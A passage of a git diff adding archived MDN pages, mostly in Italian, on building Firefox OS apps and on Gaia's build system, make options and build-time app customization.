+ <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/2.3">Firefox OS 2.3 Web components</a></li>
+ <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/2.0">Firefox OS 2.0 building blocks</a> (covers Firefox OS 2.0–2.2.)</li>
+ <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/1.x">Firefox OS 1.x building blocks</a> (covers older versions of Firefox OS.)</li>
+</ul>
diff --git a/files/it/archive/b2g_os/firefox_os_apps/index.html b/files/it/archive/b2g_os/firefox_os_apps/index.html
new file mode 100644
index 0000000000..370236dd14
--- /dev/null
+++ b/files/it/archive/b2g_os/firefox_os_apps/index.html
@@ -0,0 +1,85 @@
+---
+title: Firefox OS apps
+slug: Archive/B2G_OS/Firefox_OS_apps
+tags:
+  - Apps
+  - Building
+  - Components
+  - Firefox OS
+  - Installing
+  - NeedsTranslation
+  - TopicStub
+  - device APIs
+translation_of: Archive/B2G_OS/Firefox_OS_apps
+---
+<p class="summary">This section of the Firefox OS docs covers the specific techniques required — and available tools — for building Firefox OS apps. You'll find a number of details below, from Firefox OS building blocks/web components, to device APIs and App installation.</p>
+
+<h2 id="Building_Firefox_OS_apps">Building Firefox OS apps</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS">Building apps for Firefox OS</a></dt>
+ <dd>Firefox OS/Firefox platform app specifics, including App installation and management APIs, manifest files, packaged and hosted apps, handling API permissions.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Localization">Localization</a></dt>
+ <dd>This set of articles provides information for developers wishing to provide localized versions of their apps.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Performance">Performance</a></dt>
+ <dd>This page lists performance-related topics specific to Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_Accounts_on_Firefox_OS">Firefox Accounts on Firefox OS</a></dt>
+ <dd>This article provides an overview of using <a href="/en-US/docs/Mozilla/Tech/Firefox_Accounts">Firefox Accounts</a> in Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Reference_apps">Reference apps</a></dt>
+ <dd>This page lists a number of sample apps we've put together for you to download, install, play with and learn from. Have fun!</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Screencast_series:_App_Basics_for_Firefox_OS">Screencast series: App Basics for Firefox OS</a></dt>
+ <dd>In this collection of short videos, developers from Mozilla and Telenor explain in a few steps how you can get started with building applications for Firefox OS.</dd>
+</dl>
+
+<h2 id="Building_blocks">Building blocks</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Building_blocks">Building Blocks</a></dt>
+ <dd>The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Gaia">Gaia</a> default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.</dd>
+</dl>
+
+<h2 id="Styleguides">Styleguides</h2>
+
+<dl>
+ <dt><a href="http://www.mozilla.org/en-US/styleguide/products/firefox-os/">Firefox OS Visual styleguide</a></dt>
+ <dd>Our style guide for Firefox OS visual design, covering colours, typeface, backgrounds, app icons, and the design of specific UI elements.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Copy_styleguide">Firefox OS Copy styleguide</a></dt>
+ <dd>This guide outlines the rules we follow for writing Firefox OS app copy, but can be used as a general guide to writing good copy for any app interfaces.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_in_Arabic">Firefox OS in Arabic</a></dt>
+ <dd>A guide to the specific UX design implementation Firefox OS has in place for dealing with Arabic (and other RTL languages.)</dd>
+</dl>
+
+<h2 id="Assets">Assets</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Design_asset_library">Firefox OS design asset library</a></dt>
+ <dd>In this section you'll find design assets, artwork, graphic templates, fonts and other materials that will be helpful as you design Firefox OS/Gaia apps.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Icon_font">Firefox OS icon font</a></dt>
+ <dd>Firefox OS has its own icon font set available: this article explains how to use it in your own apps.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Transitions">Firefox OS transitions</a></dt>
+ <dd>A reference to some of the transitions used in Firefox OS to move between different states in apps, including animated GIFs demonstrating the animations used, plus code samples to show the CSS animation code needed to implement these animations.</dd>
+</dl>
+
+<h2 id="References">References</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_device_APIs">Firefox OS device APIs</a></dt>
+ <dd>This article provides a list of pages covering those APIs, as well as the <a href="https://developer.mozilla.org/en-US/Apps/Build/Manifest">app manifest</a> permissions for each one.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_app_tools">Firefox OS app tools</a></dt>
+ <dd>This page provides a list of useful tools, libraries, examples, etc. that are useful for Firefox OS app developers, whether you want a code template to copy, or need help with adding a specific feature to your Firefox OS app.</dd>
+</dl>
+
+<h2 id="Other_app_topics">Other app topics</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Porting_Chrome_apps">Porting Chrome apps to Firefox OS Apps</a></dt>
+ <dd>This article discusses the differences between Chrome apps and Firefox OS Apps, and how you can convert between the two.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/App_development_FAQ">App development FAQ</a></dt>
+ <dd>This FAQ is a compilation of answers to common app development questions.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Marketplace">Firefox Marketplace</a></li>
+</ul>
diff --git a/files/it/archive/b2g_os/firefox_os_usage_tips/index.html b/files/it/archive/b2g_os/firefox_os_usage_tips/index.html
new file mode 100644
index 0000000000..08761312b3
--- /dev/null
+++ b/files/it/archive/b2g_os/firefox_os_usage_tips/index.html
@@ -0,0 +1,27 @@
+---
+title: Firefox OS usage tips
+slug: Archive/B2G_OS/Firefox_OS_usage_tips
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/B2G_OS/Firefox_OS_usage_tips
+---
+<dl>
+ <dt>
+  To be done</dt>
+ <dd>
+  Explain all of the developer features on the phone and what they do (Settings &gt; Device information &gt; More information &gt; Developer)</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_usage_tips/Remote_debugging" title="/en-US/docs/Mozilla/Firefox_OS/Hacking_Firefox_OS/Remote_debugging">Remote debugging</a></dt>
+ <dd>
+  How to set your Phone up for remote debugging.</dd>
+ <dt>
+  <a href="https://developer.mozilla.org/en-US/Firefox_OS/Firefox_OS_usage_tips/Unlocking_your_phone">Unlocking your phone</a></dt>
+ <dd>
+  Basic instructions on unlocking your phone.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_usage_tips/taking_screenshots" title="/en-US/docs/Mozilla/Firefox_OS/Tips_and_tricks/taking_screenshots">Taking screenshots</a></dt>
+ <dd>
+  How to take screenshots on your Firefox OS phone.</dd>
+</dl>
+<p> </p>
diff --git a/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/build_system_primer/index.html b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/build_system_primer/index.html
new file mode 100644
index 0000000000..3752aa2279
--- /dev/null
+++ b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/build_system_primer/index.html
@@ -0,0 +1,127 @@
+---
+title: Il sistema di build di Gaia
+slug: Archive/B2G_OS/Guida_rapida_allo_sviluppo_di_Gaia/Build_System_Primer
+tags:
+  - B2G
+  - Firefox OS
+  - Gaia
+  - Guida
+  - il sistema di build di Gaia
+translation_of: Archive/B2G_OS/Developing_Gaia/Build_System_Primer
+---
+<div class="summary">
+ <p>Questo articolo spiega il funzionamento del sistema di build di Gaia, incluso il Makefile, il processo di build, le variabili di ambiente e le potenziali personalizzazioni.</p>
+</div>
+<p>Gran parte del lavoro significativo degli step di build sono eseguiti dagli script presenti all'interno della cartella <code>build/</code> di Gaia, che vengono eseguiti tramite make, node.js e <a href="https://developer.mozilla.org/en-US/docs/XPConnect/xpcshell" title="https://developer.mozilla.org/en-US/docs/XPConnect/xpcshell">XPCShell</a> (conosciuto anche col nome di JS Shell), un ambiente di runtime per <a href="/en-US/docs/Mozilla/Projects/XULRunner">XULRunner</a>. Il sistema di build di Gaia contiene molti tool a supporto per l'installazione, il testing, la localizzazione e per il packaging delle app su dispositivi reali. Consentono agli sviluppatori di personalizzare Gaia, per esempio cambiando lo sfondo di default, le suonerie, le app e le configurazioni di base.</p>
+<div class="note">
+ <p><strong>Nota</strong>: XPCShell è simile a node.js ma con la possibilità di eseguire alcuni javascript personalizzati da Mozilla. Permette agli script di build di Gaia di essere eseguiti all'interno di un'estensione di Firefox.</p>
+</div>
+<h2 id="Il_Makefile">Il Makefile</h2>
+<p>Il Makefile contiene un insieme di obiettivi (di operazioni da compiere). Questa sezione descrive le più significative.</p>
+<h3 id="install-gaia">install-gaia</h3>
+<p>Vengono installate tutte le app di Gaia sul tuo device. Se vuoi installarne una specifica, puoi utilizzare la variabile di ambiente APP come mostrato di seguito:</p>
+<pre class="brush: bash">APP=calendar make install-gaia</pre>
+<p><em>Calendar</em> deve esistere come cartella all'interno di una delle cartelle di app di Gaia  (ad esempio all'interno della cartella <code>apps</code>).</p>
+<h3 id="reset-gaia">reset-gaia</h3>
+<p>Analogamente a <code>install-gaia</code>, ma con la seguente sequenza di azioni: rimuove le app dal device, installa le app sul device e configura i permessi di default. Le app verranno installate sul device nella cartella <code>/data/local</code>. Verranno installate su device anche le app di testing e debugging.</p>
+<div class="warning">
+ <p><strong>Fai attenzione</strong>: Utilizzando la variabile di ambiente <code>APP</code> con <code>reset-gaia</code> porterà il tuo telefono in una stoto inutilizzabile (puoi ripristinarlo eseguendo nuovamente questa opzione senza APP). Pertanto non farlo.</p>
+</div>
+<h3 id="production">production</h3>
+<p>Analogamente a <code>reset-gaia </code>ma il codice sorgente verrà ottimizzato. Questa opzione permette di emulare le build utente. Verranno installate tutte le app previste dalle build utente.</p>
+<div class="warning">
+ <p><strong>Fai attenzione</strong>: Utilizzando la variabile di ambiente <code>APP</code> con <code>production </code>porterà il tuo telefono in una stoto inutilizzabile (puoi ripristinarlo eseguendo nuovamente questa opzione senza APP). Pertanto non farlo.</p>
+</div>
+<h3 id="reference_workloads">reference workloads</h3>
+<p>Questi obiettivi caricheranno sul dispositivo <em>workload</em> (carichi di lavoro) di differente dimensione, aiutandoci nelle attività di debugging e fixing di problematiche inerenti le prestazioni. Accettano la variabile APP o APPS (contenente più nomi di app separati da uno spazio), ad esempio:</p>
+<pre class="brush: bash">APP=sms make reference-workload-light
+APPS="sms communications/contacts" make reference-workload-heavy
+</pre>
+<div class="note">
+ <p><strong>Nota</strong>: Per ulteriori informazioni leggi l'articolo <a href="/en-US/Firefox_OS/Platform/Gaia/Hacking#Reference_Workloads">Hacking Gaia: workload di riferimento</a>.</p>
+</div>
+<h2 id="Variabili_di_ambiente">Variabili di ambiente</h2>
+<p><span id="result_box" lang="it"><span class="hps">Alcune</span> <span class="hps">variabili d'ambiente</span> <span class="hps">ti permettono di controllare</span> <span class="hps">alcuni aspetti della</span> <span class="hps">costruzione</span> <span class="hps">e della installazione</span> <span class="hps">sul dispositivo</span><span>,</span> <span class="hps">per</span> <span class="hps">esempio</span><span>:</span></span></p>
+<h4 id="P1"><span lang="it"><span>P=1</span></span></h4>
+<p>Abilita un grado di parallelismo nel processo di build e consente di trarre vantaggio da CPU multicore riducendo le tempistiche di build. Il valore di default è <strong>0</strong>.</p>
+<div class="warning">
+ <p><strong>Fai attenzione</strong>: la funzionalità di parallelismo è sperimentale e può essere instabile.</p>
+</div>
+<h4 id="GAIA_OPTIMIZE1">GAIA_OPTIMIZE=1</h4>
+<p>Innesca un processo di ottimizzazione sui file JavaScript. Viene valorizzata automaticamente quando si esegue il comando <code>make production</code>. Può essere utilizzata anche con con <code>install-gaia</code> o <code>reset-gaia</code>.</p>
+<h4 id="PRODUCTION1">PRODUCTION=1</h4>
+<p>E' un alias di <code>make production</code>.</p>
+<h4 id="DEBUG1">DEBUG=1</h4>
+<p>Ti consente di creare un profilo di debug da utilizzare negli <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests">unit testing di Gaia</a> oppure nello sviuppo di app di Firefox OS in Firefox. Il nuovo profilo viene creato all'interno della cartella di Gaia (ad esempio profile-debug). Dovresti eliminare la precedente cartella prima di generare un nuovo profilo.</p>
+<h4 id="DEVICE_DEBUG1">DEVICE_DEBUG=1</h4>
+<p>Disabilita il blocco dello schermo sul dispositivo.</p>
+<h4 id="GAIA_DEVICE_TYPEphone">GAIA_DEVICE_TYPE=phone</h4>
+<p>Consente di differenziare la lista delle app da installare in funzione del device. Le liste di app  (app-*.list) sono presenti nella cartella /build/config/$(GAIA_DEVICE_TYPE)/ .</p>
+<p>Il valore di default per questa variabile è <strong>phone</strong>.</p>
+<div class="note">
+ <p><strong>Nota</strong>: Per maggiori dettagli e ulteriori opzioni, consultate la guida <a href="/en-US/Firefox_OS/Platform/Gaia/Hacking#Make_options">Hacking Gaia opzioni di make</a>.</p>
+</div>
+<h2 id="Il_processo_di_build">Il processo di build</h2>
+<p>Segue un diagramma che illustra il processo di build di Gaia:<br>
+  </p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/8635/gaia-build-system-seq-diagram.png" style="width: 2222px; height: 1497px;"></p>
+<p>pre-app.js, app.js &amp; post-app.js vengono eseguite dal Makefile, di cui gran parte dei task tramite script xpcshell. Tramite Makefile viene anche identificato l'OS e scaricato il b2g-desktop specifico. Verranno migrati sempre più task da Makefile a script xpcshell.<br>
+ <br>
+ Sono state create pre-app, app e post-app per agevolare il passaggio delle dipendenze da Makefile a script xpcshell. Pre-app.js e post-app.js sul <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1021051">bug 1021051</a>, mentre app.js, pre-app.js e post-app.js sul <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1053703">bug 1053703</a>.<br>
+ <br>
+ Esistono tre tipologie di cartelle per il sistema di build di Gaia:<br>
+ <br>
+      1. cartelle con i sorgenti: apps, dev_apps, shared directories<br>
+      2. cartelle di appoggio: build_stage<br>
+      3. cartelli con i profili: profile, profile-debug o cartelle di profile-test<br>
+ <br>
+ L'obiettivo è quello di non produrre più file all'interno di cartelle con i sorgenti. Sebbene esistono ancora dei moduli che non rispettano questa regola, ne è stato pianificato l'adeguamento quanto prima. Segue una tabella che illustra quali moduli producono file nelle cartelle con i sorgenti, in quelle di appoggio e in quelle con i profili:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/8653/file-accessing.png" style="width: 1136px; height: 1250px;"></p>
+<p>Segue il processo di build da quando viene eseguito il comando make nella cartella di Gaia. Le seguenti regole vengono eseguite in ordine:</p>
+<ol>
+ <li><strong>b2g_sdk</strong>: b2g-desktop è usato per eseguire gli script xpcshell nella cartella <code>GAIA_DIR/build/</code>.</li>
+ <li><strong>svoperapps</strong>: vengono scaricate le app e generati i file di configurazione per l'installazione delle app su base operatore telefonico e Paese.</li>
+ <li><strong>webapp-manifests</strong>: vengono generati i metadati delle webapp richiesti per il processo di build.</li>
+ <li><strong>keyboard-layouts</strong>: viene generata la configurazione di default del layout della tastiera.</li>
+ <li><strong>webapp-shared</strong>: vengono prelevati i file utilizzati da ciascuna app presenti nella cartella shared e copiati nella cartella build_stage.</li>
+ <li><strong>preferences</strong>: vengono generate le preferenze di default per Firefox OS; viene generato il file user.js, che istallato sul dispositivo verrà letto da Gecko. Nota che i valori possono essere cambiati tramite variabili di ambiente quali DEBUG=1.</li>
+ <li><strong>app-makefiles</strong>: vengono eseguiti i makefile presenti nelle cartelle delle singole app. Se il makefile non è presente, l'app (intesa come cartella completa) verrà copiata nella cartella <code>build_stage</code> e verrà eseguito <code>[app-directory]/build/build.js</code> se esiste. Vedi {{ anch("Build script for apps") }} per maggiori dettagli.</li>
+ <li><strong>app.js</strong>: se esistono, vengono eseguiti i Makefile nelle cartelle delle app. Altrimenti, il Makefile di Gaia copierà la cartella della app nall'interno di <code>build_stage</code> ed eseguirà <code>[app-directory]/build/build.js</code> se esiste. Vedi {{ anch("Build script for apps") }} per maggiori dettagli.</li>
+ <li><strong>test-agent-bootstrap &amp; test-agent-config</strong>: l'ambiente di test per ciascuna app prevede l'esecuzione di due regole di make: <code>test-agent-config</code> &amp; <code>test-agent-bootstrap-apps</code>.</li>
+ <li><strong>webapp-optimize</strong>: questo script contiene alcune procedure di ottimizzazione e include le procedure di minimizzazione di JavaScript (JavaScript minification), la concatenazione delle risorse di localizzazione all'interno di file JSON e la generazione degli HTML per il linguaggio di default se necessario.</li>
+ <li><strong>webapp-zip</strong>: ciascuna app viene compressa in un file .zip e spostata nella cartella <code>profile/</code>. I file nella cartella s<code>hared/</code> dichiarati nei file HTML delle webapp verranno inclusi in questo step.</li>
+ <li><strong>optimize-clean</strong>: <code>optimize-clean</code>  pulisce i fle HTML per la lingua di default.</li>
+ <li><strong>contacts</strong>: se esiste, vene copiata la lista predefinita dei contatti dalla cartella <code>GAIA_DISTRIBUTION_DIR</code> in quella del nuovo profilo.</li>
+ <li><strong>extensions</strong>: vengono copiate le estensioni dalla cartella <code>GAIA_DIR/tools/extensions</code> in quella del nuovo profilo; differenti configurazioni di setup consentono di copiare differenti estensioni.</li>
+ <li><strong>installed-extensions.json (additional-extensions.js)</strong>: infine, questo script scarica alcune estensioni addizionali nella cartella del nuovo profilo.</li>
+</ol>
+<h2 id="Script_di_build_per_le_app">Script di build per le app</h2>
+<p>Di default, il makefile di Gaia copierà tutte la app nelle cartelle <code>build_stage</code> ed eseguirà <code>[app directory]/build/build.js</code>, se presente.</p>
+<p>Per esempio, per costruire l'app Camera viene richiesto<code> r.js </code>(come ottimizzatore <code>RequireJS)</code> e  viene eseguito uno script JavaScript per personalizzare la massima risoluzione, pertanto nella cartella sono presenti sia un Makefile che un  <code>build/build.js</code> per personalizzare il suo processo di build.</p>
+<p>Segue un diagramma di flusso per illustrare i principali step di un makefile per le app:</p>
+<p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/7651/app-makefile.png" style="width: 544px; height: 579px;"></p>
+<h2 id="Personalizzare_le_preferenze">Personalizzare le preferenze</h2>
+<p>Se hai delle preferenze specifiche le devi impostare ogni qualvolta reinstalli il software sul tuo dispositivo. Lo puoi fare creando un file chiamato <code>custom-prefs.js</code> all'interno della cartella <code>build/config</code>.</p>
+<p>Seguono alcune preferenze utili:</p>
+<pre class="brush: js">// this enables marionette which lets you run performance tests
+// see https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_performance_tests
+user_pref("marionette.defaultPrefs.enabled", true);
+
+// this sets the port for remote debugging your application on the device
+user_pref("devtools.debugger.remote-port", 60000);
+
+// this enables the remote debugger
+user_pref("devtools.debugger.remote-enabled", true);
+
+// this outputs debug information about the Radio Interface Layer in logcat
+user_pref("ril.debugging.enabled", true);
+</pre>
+<p>Questo file viene letto ogni qualvolta viene generato un profilo. Per sicurezza ti conviene eliminare il precedente profilo prima di generarne uno nuovo.</p>
+<pre class="brush: bash">rm -rf profile &amp;&amp; make profile</pre>
+<p>Quindi puoi utilizzare in sicurezza l'opzione <code>install-gaia</code>.</p>
+<h2 id="FAQ">FAQ</h2>
+<h3 id="Il_dispositivo_rimane_nero_dopo_una_reinstallazione">Il dispositivo rimane nero dopo una reinstallazione</h3>
+<p>Può capitare se installi un device mentre è idle. Per rimediare riavvia B2G utilizzando il seguente comando:</p>
+<pre class="brush: bash">adb shell stop b2g &amp;&amp; adb shell start b2g</pre>
+<p><br>
+  </p>
diff --git a/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/customizing_build-time_apps/index.html b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/customizing_build-time_apps/index.html
new file mode 100644
index 0000000000..e7d750d161
--- /dev/null
+++ b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/customizing_build-time_apps/index.html
@@ -0,0 +1,86 @@
+---
+title: Personalizzare le app in fase di build
+slug: Archive/B2G_OS/Guida_rapida_allo_sviluppo_di_Gaia/Customizing_build-time_apps
+tags:
+  - B2G
+  - Firefox OS
+  - Gaia
+  - Guida
+  - Personalizzare le app in fase di build
+translation_of: Archive/B2G_OS/Developing_Gaia/Customizing_build-time_apps
+---
+<div class="summary">
+ <p><span class="seoSummary">Come sviluppatore o vendor di dispositivi mobile, potresti voler personalizzare le app presenti sul dispositivo Firefox OS al primo utilizzo per svariati motivi. Questo articolo spiega le differenti metodologie disponibili.</span></p>
+</div>
+<h2 id="Le_app_nel_codice_sorgente_di_Gaia">Le app nel codice sorgente di Gaia</h2>
+<p>Le app presenti in Firefox OS sono tutte contenute nel codice sorgente di Gaia, in una delle seguenti cartelle:</p>
+<ul>
+ <li><a href="https://github.com/mozilla-b2g/gaia/tree/master/apps">gaia/apps/</a>: trovi le app di default di sistema, quali il calendar, l'email, i setting, ecc.</li>
+ <li><a href="https://github.com/mozilla-b2g/gaia/tree/master/dev_apps">gaia/dev-apps</a>: qui trovi le altre app, quali quelle incluse nel processo di personalizzazione</li>
+</ul>
+<p>Se vuoi aggiungere o rimuovere delle app dalla tua build, potrai farlo nei seguenti modi che andiamo a descrivere.</p>
+<h2 id="Metodo_a_furza_bruta">Metodo a furza bruta</h2>
+<p>Il metodo a "forza bruta" è semplicemente quello di rimuovere (inteso come rimozione dalla tua alberatura di Gaia) le app che non vuoi, durante il processo di costruzione della build stessa.</p>
+<h2 id="Editing_delle_liste_di_configurazione">Editing delle liste di configurazione</h2>
+<p>Un metodo più raffinato consiste nel modificare i file di configurazione <code>apps-*.list</code>  (li trovi in differenti sottocartelle all'interno della cartella <a href="https://github.com/mozilla-b2g/gaia/tree/master/build/config">gaia/build/config/</a>, quali <code>phone/</code> e <code>tablet/</code>) definendo il path delle app che vuoi includere nella build. Per esempio, <a href="https://github.com/mozilla-b2g/gaia/blob/master/build/config/phone/apps-production.list">gaia/build/config/phone/apps-production.list</a> contiene qualcosa di simile a:</p>
+<pre class="brush: bash">apps/bluetooth
+apps/bookmark
+apps/browser
+apps/calendar
+apps/callscreen
+etc.</pre>
+<p>Puoi semplicemente includere tutte le app presenti nella cartella nel seguente modo:</p>
+<pre class="brush: bash">apps/*</pre>
+<p>La logica per scegliere quale <code>apps-*.list</code> utilizzare per la build (cioè la lista della app) è definita nel <a href="https://github.com/mozilla-b2g/gaia/blob/master/Makefile">gaia/Makefile</a> ed è qualcosa di simile a:</p>
+<pre class="brush: cpp"><span class="nv">GAIA_DEVICE_TYPE</span><span class="o">?=</span>phone
+  ...
+GAIA_APP_TARGET?=engineering
+  ...
+ifeq ($(MAKECMDGOALS), demo)
+GAIA_DOMAIN=thisdomaindoesnotexist.org
+GAIA_APP_TARGET=demo
+else ifeq ($(MAKECMDGOALS), dogfood)
+DOGFOOD=1
+else ifeq ($(MAKECMDGOALS), production)
+PRODUCTION=1
+endif
+  ...
+ifeq ($(PRODUCTION), 1)
+GAIA_OPTIMIZE=1
+GAIA_APP_TARGET=production
+endif
+
+ifeq ($(DOGFOOD), 1)
+GAIA_APP_TARGET=dogfood
+endif
+  ...
+ifndef GAIA_APP_CONFIG
+GAIA_APP_CONFIG=build$(SEP)config$(SEP)apps-$(GAIA_APP_TARGET).list
+endif</pre>
+<p>Inizialmente, la variabile <code>GAIA_APP_TARGET</code> è impostata a <code>engineering</code> mentre la variabile <code><span class="nv">GAIA_DEVICE_TYPE</span></code> è impostata a <code>phone</code>, perciò la build di Gaia utilizzerà la lista di app definita in <a href="https://github.com/mozilla-b2g/gaia/blob/master/build/config/phone/apps-engineering.list">gaia/config/phone/app-engineering.list</a> (che include le app di test, demo, ecc.)</p>
+<p>Per costruire una build con una differente lista di app dovrai lanciare make con una differente opzione. Per esempio, per costruire la build con la lista di app definita in <a href="https://github.com/mozilla-b2g/gaia/blob/master/build/config/phone/apps-production.list">gaia/build/config/phone/apps-production.list</a>, dovrai invocare il seguente comando:</p>
+<pre class="brush: bash">PRODUCTION=1 make</pre>
+<p>Se imposterai l'opzione <code>DEMO=1</code>, verrà utilizzata la lista  <a href="https://github.com/mozilla-b2g/gaia/blob/master/build/config/phone/apps-demo.list">apps-demo.list</a>. Se invece specificherai <code>DOGFOOD=1</code>, verrà di conseguenza utilizzata la lista <a href="https://github.com/mozilla-b2g/gaia/blob/master/build/config/phone/apps-dogfood.list">apps-dogfood.list</a>.</p>
+<p>In alternativa, puoi costruire una build con una tua lista di app impostando la variabile <code>GAIA_APP_CONFIG</code> direttamente nel <a href="https://github.com/mozilla-b2g/gaia/blob/master/Makefile">gaia/Makefile</a>, e fornendo di conseguenza una tua lista <code>apps-*.list</code>.</p>
+<p><a href="https://github.com/mozilla-b2g/gaia/blob/master/Android.mk#L24-L28">gaia/Android.mk</a> contiene queste linee:</p>
+<pre class="brush: cpp">ifneq ($(filter user userdebug, $(TARGET_BUILD_VARIANT)),)
+GAIA_MAKE_FLAGS += PRODUCTION=1
+B2G_SYSTEM_APPS := 1
+endif</pre>
+<p>Durante la build di Gaia, se la variabile VARIANT assume i valori <code>VARIANT=user</code> o <code>VARIANT=userdebug</code> (questo valore viene successivamente copiato nella variabile <code>TARGET_BUILD_VARIANT</code>), allora viene automaticamente impostata l'opzione <code>PRODUCTION=1</code>.</p>
+<div class="note">
+ <p><strong>Nota</strong>: Puoi scoprire quali altre opzioni di make sono disponibili leggi l'articolo di  <a href="/en-US/Firefox_OS/Developing_Gaia/make_options_reference">riferimento per le opzione di make</a>.</p>
+</div>
+<h2 id="Personalizzazione_Commerciale">Personalizzazione Commerciale</h2>
+<p>Il terzo metodo, più dettagliato (ma altrettanto più complesso) consiste nell'utilizzare le personalizzazioni. Ti consentono di personalizzare la build senza modificare il codice di Gaia. Puoi includere le tue personalizzazioni sia in cartelle separate che utilizzare quelle preesistenti.</p>
+<p>Per esempio, specificando la variabile di ambiente <code>GAIA_DISTRIBUTION_DIR</code>, indichi quale cartella contiene la tua personalizzazione:</p>
+<pre class="brush: bash"><code class="language-html">GAIA_DISTRIBUTION_DIR=<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>DISTRIBUTION_PATH</span><span class="token punctuation">&gt;</span></span> make production</code></pre>
+<p>Al seguente repository <a href="https://github.com/mozilla-b2g/gaia/tree/master/customization">https://github.com/mozilla-b2g/gaia/tree/master/customization</a> trovi un esempio completo con tutte le funzionalità personalizzabili.</p>
+<p>Possiamo considerare la personalizzazione come un argomento completamente separato. Per ulteriori informazioni fai riferimento alla <a href="/en-US/Firefox_OS/Developing_Firefox_OS/Market_customizations_guide">Guida alla Personalizzazione Commerciale</a>.</p>
+<div class="note">
+ <p><strong>Nota</strong>: Se vuoi includere app custom esterne come parte della tua build di Gaia, devi utilizzare un processo di build specifico e metterle nella cartella <code>gaia/dev-apps</code>. Per ulteriori informazioni leggi l'articolo <a href="https://developer.mozilla.org/en-US/Firefox_OS/Developing_Firefox_OS/Market_customizations_guide#Building_Prebundled_web_apps">Building Prebundled web apps</a>.</p>
+</div>
+<div class="warning">
+ <p><strong>Importante</strong>: Se sei un vendor di apparati e vuoi creare e distribuire una build custom di B2G/Gaia, devi rispettare alcuni criteri prima di poter includere la app di Firefox Marketplace sui tuoi dispositivi. Contatta Mozilla per maggiori dettagli.</p>
+</div>
+<p> </p>
diff --git a/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/diversi_modi_per_eseguire_gaia/index.html b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/diversi_modi_per_eseguire_gaia/index.html
new file mode 100644
index 0000000000..591e1716e1
--- /dev/null
+++ b/files/it/archive/b2g_os/guida_rapida_allo_sviluppo_di_gaia/diversi_modi_per_eseguire_gaia/index.html
@@ -0,0 +1,120 @@
+---
+title: Diversi modi per eseguire Gaia
+slug: >-
+  Archive/B2G_OS/Guida_rapida_allo_sviluppo_di_Gaia/Diversi_modi_per_eseguire_Gaia
+tags:
+  - B2G
+  - Diversi modi per eseguire Gaia
+  - Firefox OS
+  - Gaia
+  - Guida
+translation_of: Archive/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia
+---
+<div class="summary">
+ <p><span class="seoSummary">Puoi eseguire Gaia in un simulatore via WebIDE, direttamente </span>all'interno di Firefox Desktop, come applicazione desktop dedicata (Desktop B2G), oppure in un dispositivo mobile compatibile. Questo articolo fornisce una panoramica per ciascun metodo e i link per ulteriori informazioni.</p>
+</div>
+<h2 id="Quanto_è_vicino_alla_realtà">Quanto è vicino alla realtà?</h2>
+<p dir="ltr" id="docs-internal-guid-46d8bd5f-ac65-2c23-a6c9-cc3bc3dc3cd5">Alcune delle soluzioni per eseguire Gaia descritte nell'articolo sono più vicine all'esperienza su un dispositivo reale di altre. Ordinando le soluzioni per semplicità di predisposizione dell'ambiente di esecuzione, avresti la seguente sequenza:</p>
+<ol dir="ltr">
